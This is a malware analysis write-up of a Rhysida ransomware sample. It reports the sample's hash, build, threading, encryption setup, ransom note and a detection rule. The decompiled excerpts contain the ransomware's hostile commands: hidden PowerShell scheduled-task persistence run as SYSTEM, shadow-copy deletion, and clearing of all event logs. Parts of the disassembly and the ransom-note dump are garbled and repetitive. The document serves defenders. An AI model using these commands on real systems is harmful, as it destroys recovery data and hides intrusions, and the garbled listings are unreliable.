# **Rhysida Ransomware**

shadowstackre.com/analysis/rhysida

December 13, 2023

Dec. 13 Written By <u>ShadowStackRe SSR</u>




A painful sting for Insomniac Games


# **Threat Landscape**

On December 12th 2023 Rhysida claimed to have penetrated and encrypted Insomniac Games from Burbank, California. The studio founded in 1994 and currently owned by Sony Interactive Entertainment, has been responsible for such hits as the recently released 'Marvel's Spider-man' series and the 'Ratchet & Clank' series.

The gang has set the price at 50 BTC and a time limit of 7 days.



The leak site contains the latest victims and the ability to submit a victim token.



On November 15th, CISA.gov posted an alert about Rhysida. This report contains a number of tactics, techniques and tooling that the ransomware gang uses. <u>cisa.gov report</u>

# **Keypoints**

- Use of scheduled tasks for persistence
- Uses CHC hash and AES block ciphers for encryption
- Drops the ransomware note as a PDF

# **Build information**

#### **Hashes**

The file was first submitted to VirusTotal on November 18th 2023, and at the time of this analysis the last submission was December 8th 2023.


b55ecbddcbed916481ad537807cd3e33cb71814be6ce8e03eb63b629ccb8c692 | <u>VirusTotal</u>

### Compiler

The sample was compiled using MinGW 6.3 and is a 64-bit executable of 497KB in size.

### **Section Segments**

The section segments contains a fairly high .data section which is 119.2KB in size with an entropy of 7 . This is interesting considering the size of the overall binary.




# **Tactics and Techniques**


The main functions control flow has a large nested if block starting at address text:000000000419378 that is fairly unique, this nested block makes use of the number of processors found, to setup up the thread pool required to faciliate the encryption process and getting a reference to the cryptographic handler.

Within this nested if block, the \_beginthreadex() call is used to start new threads bound by the number of processors found and a short 10 millisecond sleep trap was added inside of a loop. This tight loop utilizes the synchapi.h to handle eventing between threads.

```
mov
                                                  rcx, [rbx+8]
                                                                   ; hHandle
                                                                   ; dwMilliseconds
                                         mov
                                         call
                                                          imp WaitForSingleObject
                                         test
                                         jΖ
                                                  short loc_442F2F
                                         cmp
                                         mov
                                         mov
                                         cmovnz
                                                  loc 442ECB
                                         jmp
text:0000000000442F60 loc 442F60:
                                                                   ; CODE XREF: sub 442EA0+75†j
                                                  ebp, [rbx+14h]
                                         mov
                                         call
                                         cmp
                                                  short loc_442F17
                                         jnz
                                         mov
                                         lock cmpxchg [rbx], edi
                                         cmp
                                                  dword ptr [rbx+4], 2
                                                  eax, 24h;
loc_442ECB
                                         mov
                                         jnz
                                                  dword ptr [rbx+10h], 1
                                         add
                                                  loc 442EC9
                                         jmp
.text:0000000000442F8B
                                         align 10h
text:0000000000442F90 loc 442F90:
                                                                   ; CODE XREF: sub 442EA0+7C1j
                                         xor
                                                                     lpEventAttributes
                                                  r9d, r9d
                                                                     lpName
                                         xor
                                         xor
                                                  r8d, r8d
                                                                     bInitialState
                                         xor
                                                                    bManualReset
                                         call
                                                  cs:__imp_CreateEventA
```

The main program flow continues on to setup the file walker for file and directory discovery and ensuring both the scheduled tasks and commands for deleting the sample from disk.







#### **Determine number of CPUs**

The number of processors are obtained via the GetSystemInfo() call. The structure returned contains a member called dwNumberOfProcessors which is used throughout the sample to determine thread pool sizes used for the overall encryption process.

If the number of processors is greater than 8, the value is set to 8.

```
// Get number of processors
GetSystemInfo(&SystemInfo);
dwNumProcessors = SystemInfo.dwNumberOfProcessors;
if ( (int)SystemInfo.dwNumberOfProcessors > 8 )
    dwNumProcessors = 8;  // force the number of processors to clamp to 8
```

### Schedule task persistence

The sample setups schedule tasks to facilitate persistence. The scheduled tasks are broken up into multiple commands.

**The first command** is used to create a new schedule tasks called Rhsd to launch the payload again upon startup utilizing the ONSTART option.

```
strcpy(
  ptrCmd + 8,
  "/c start powershell.exe -WindowStyle Hidden -Command \"Sleep -Milliseconds 1000; schtasks /end /tn Rhsd; schtasks "
  "/delete /tn Rhsd /f; schtasks /create /sc ONSTART /tn Rhsd /tr \\\"'");
```

**The second command** is used to run the task Rhsd using the current user accounts permissions.

```
strcat(Command, "\\\" /ru system; schtasks /run /tn Rhsd /i;\"");
```

**The third command** is used to delete the schedule task if the system has already been compromised.

```
strcpy(
  ptrCmd2 + 8,
  "/c start powershell.exe -WindowStyle Hidden -Command \"Sleep -Milliseconds 1000; schtasks /delete /tn Rhsd /f;\"");
```

# Inhibit system recovery

The sample will clear the event logs by utilizing the cmd.exe and the wevtutil.exe programs. The sample will wait until the events are cleared before returning back to the execution of the malware. The vssadmin.exe is used to delete shadow copies, this occurs after the system is compromised.

```
system("cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet");
system("cmd.exe /c for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"");
```

# Directory and file discovery

The sample is configured to skip files by extension. The typical file extensions found below are commonly skipped by ransomware payloads with the primary objective of keeping system stability functional.

```
.bat
.bin
.cab
.cmd
.com
.cur
.diagcab
.diagcfg
.diagpkg
.drv
.dll
.exe
.hlp
.hta
.ico
.msi
.OCX
.ps1
.psm1
.scr
.sys
.ini
.Thumbs.db
.url
.iso
```

The sample will iterate through each file and attempt to determine if the file is valid for processing by using the \_stat64() call and then inspecting the st\_mode parameter for a potential regular file, directory, character device or pipe.

```
call
                imp stat64
        rax
        eax, OFFFFFFFh
cmp
jnz
        short loc 416891
mov
        eax, 0
        loc_416918
jmp
                         ; CODE XREF: sub 416862+23+j
        eax, [rbp+var 3A]
movzx
        eax, ax
movzx
        eax, 0F000h
and
        eax, 8000h
                         ; regular file
cmp
jnz
        short loc 4168AB
mov
        eax, 8
        short loc 416918
jmp
```

```
; CODE XREF: sub 416862+40 t j
movzx
        eax, [rbp+var 3A]
movzx
        eax, ax
and
                         ; directory
cmp
        eax, 4000h
        short loc 4168C5
jnz
mov
        eax, 4
        short loc 416918
jmp
                         ; CODE XREF: sub 416862+5A+j
movzx
        eax, [rbp+var 3A]
movzx
        eax, ax
        eax, 0F000h
and
                         ; character device
        eax, 2000h
cmp
        short loc 4168DF
jnz
mov
        eax, 2
        short loc 416918
jmp
                         ; CODE XREF: sub 416862+74+j
movzx
        eax, [rbp+var 3A]
movzx
        eax, ax
and
                         ; Pipe+Character Device
        eax, 3000h
cmp
        short loc 4168F9
jnz
mov
        eax, 6
        short loc 416918
jmp
                         ; CODE XREF: sub 416862+8E+j
movzx
        eax, [rbp+var 3A]
                                                   B
movzx
        eax, ax
        eax, 0F000h
and
        eax, 1000h
                         ; Pipe
cmp
```

# **Encryption library**

The sample will attempt to get a handle to the Microsoft cryptographic next gen API and call the CryptGenRandom() to create entropy.

```
int64 __fastcall GetHandleToMCNG(BYTE *pbBuffer, DWORD dwLen)

{
    HCRYPTPROV v3; // rcx
    HCRYPTPROV phProv[6]; // [rsp+38h] [rbp-30h] BYREF

v3 = qword_482400;
    if ( qword_482400 )
        return (unsigned int)-!CryptGenRandom(v3, dwLen, pbBuffer);
    phProv[0] = 0i64;
    if ( CryptAcquireContextA(phProv, 0i64, "Microsoft Base Cryptographic Provider v1.0", lu, 0xF0000020)
    || CryptAcquireContextA(phProv, 0i64, "Microsoft Base Cryptographic Provider v1.0", lu, 0xF0000028) )

v3 = phProv[0];
    qword_482400 = phProv[0];
    return (unsigned int)-!CryptGenRandom(v3, dwLen, pbBuffer);
}
return 0xFFFFFFFFi64;
}
```

The malware has statically linked references to libtommath and is used throughout the main function and subroutines to facilitate the setup of the encryption process. <a href="https://github.com/libtom/libtommath">https://github.com/libtom/libtommath</a>

The sample will utilize both AES for the block cipher and the chc\_hash that is needed to facilitate the public RSA key.

```
rbp, aChachaPrng ; "CHACHA-PRNG"
lea
lea
        r8, [rsp+28h+arg 12]
        rcx, rdi
mov
        dword ptr [rsp+28h], 1
mov
mov
        r9d, 0Ah
        edx, 0Ah
mov
        [rsp+28h+var 8], rbp
mov
        sub 41F420
call
dword 482E00 = FindCipherAlg("aes");
if ( dword 482E00 != -1 )
  v16 = RegisterHash(&off 473580);
  if (!v16)
    v16 = HashAlgEnumerate(dword 482E00);
    if ( !v16 )
      unk 487350 = FindHashAlg("chc hash");
```

Lastly the sample will encrypt files and append the rhysida extension.

```
ta:000000000044C02C aRhysida db 'rhysida',0 ; DATA XREF: sub_416ACB+2BD†o
```

#### Defacement

The sample will modify the system registery via cmd.exe to update the wallpaper with the ransomware note. Once the registry keys are changed, the malware will force an update using the command rundll32.exe user32.dll,UpdatePerUserSystemParameters.

The sample attempts to open the windows font file for Arial.ttf for use in the ransom note.

The ransomware note contains the typical scare tactics seen in other ransomware notes and a reference to their onion site with a unique secret key (token) associated with this victim.

```
| interview | Detected | Immediate Response Required', 0Dh, 0Ah | data:000000000044C2Ab | ; DATA XREF: sub 418798+21Dro | data:000000000044C2Ab | ; sub 418798+2357o | ... | data:00000000044C2Ab | data:00000000044C2Ab | db Dh, 0Ah | data:00000000044C2Ab | db Dh, 0Ah | data:00000000044C2Ab | db Dh, 0Ah | data:000000000044C2Ab | db 'Init is an automated alert from cybersecurity team Rhysida. An un' | data:000000000044C3Ab | db 'Gortunate situation has arisen - your digital ecosystem has been ' | data:000000000044C3Ab | db 'dromy our network. The potential ramifications of this could be' | data:000000000044C3Ab | db 'drom your network. The potential ramifications of this could be' | data:0000000000044C3Ab | db 'dromy your network. The potential ramifications of this could be' | data:0000000000044C3Ab | db 'dromy your network. The potential ramifications of this could be' | data:0000000000044C3Ab | db 'dromy your network. The potential ramifications of this could be' | data:0000000000000044C4Ab | db 'including the sale, publication, or distribution of your data to 'drompetitors or media outlets. This could inflict significant repu' | data:0000000000000044C4Ab | db 'tational and financial damage.',0Dh,0Ah | data:0000000000044C4Ab | db 'tational and financial damage.',0Dh,0Ah | db 'tational and financial damage.',0Dh,0Ah | db 'tore your digital security. This key represents the first and mos' | data:000000000044C5B | db 'tore your digital security. This key represents the first and mos' | data:000000000044C5B | db 'tore your digital security. This key represents the first and mos' | data:000000000044C5B | db 'tore your digital security. This key represents the first and mos' | data:000000000044C5B | db 'tore your digital security. This key represents the first and mos' | data:000000000044C5B | db 'tore your digital security. This key represents the first and mos' | data:000000000044C5B | db 'tore your digital
```

Lastly, a the dropped file CriticalBreachDetected.pdf is dropped in the encrypted folder containing the ransomware note.

```
FILE *Stream; // [rsp+20h] [rbp-60h]
  char *Destination; // [rsp+28h] [rbp-58h]

Destination = (char *)malloc(0x1000ui64);
  strcpy(Destination, al);
  *(_WORD *)&Destination[strlen(Destination)] = 47;
  strcat(Destination, ptrCriticalBreachPDF); // CriticalBreachDetected.pdf
  Stream = fopen(Destination, "wb");
  if ( Stream )
  {
    fwrite(&unk_44C900, (unsigned int)ElementSize, lui64, Stream);
    fclose(Stream);
}
```

## **YARA**

```
/*
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```

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```
*/
rule RhysidaRansomware {
   meta:
      description = "rule to detect Rhysida Ransomware"
      author = "ShadowStackRe.com"
      date = "2023-12-12"
      Rule_Version = "v1"
     malware_type = "ransomware"
     malware_family = "Rhysida"
      License = "MIT License, https://opensource.org/license/mit/"
    strings:
      $strShadowCopy = " vssadmin.exe Delete Shadows"
      $strRhsyida01 = "Rhysida-0.1"
      $strRhysida = "rhysida"
      $strRegKey1 = "cmd.exe /c reg delete \"HKCU\\Contol Panel\\Desktop"
      $strRegKey2 = "Policies\\ActiveDesktop\" /v NoChangingWallPaper"
      $strRunD1132 = "rund1132.exe user32.dl1,UpdatePerUserSystemParameters"
      $strPDF = "CriticalBreachDetected.pdf"
    condition:
      all of them
}
```

#### ransomwarerhysida

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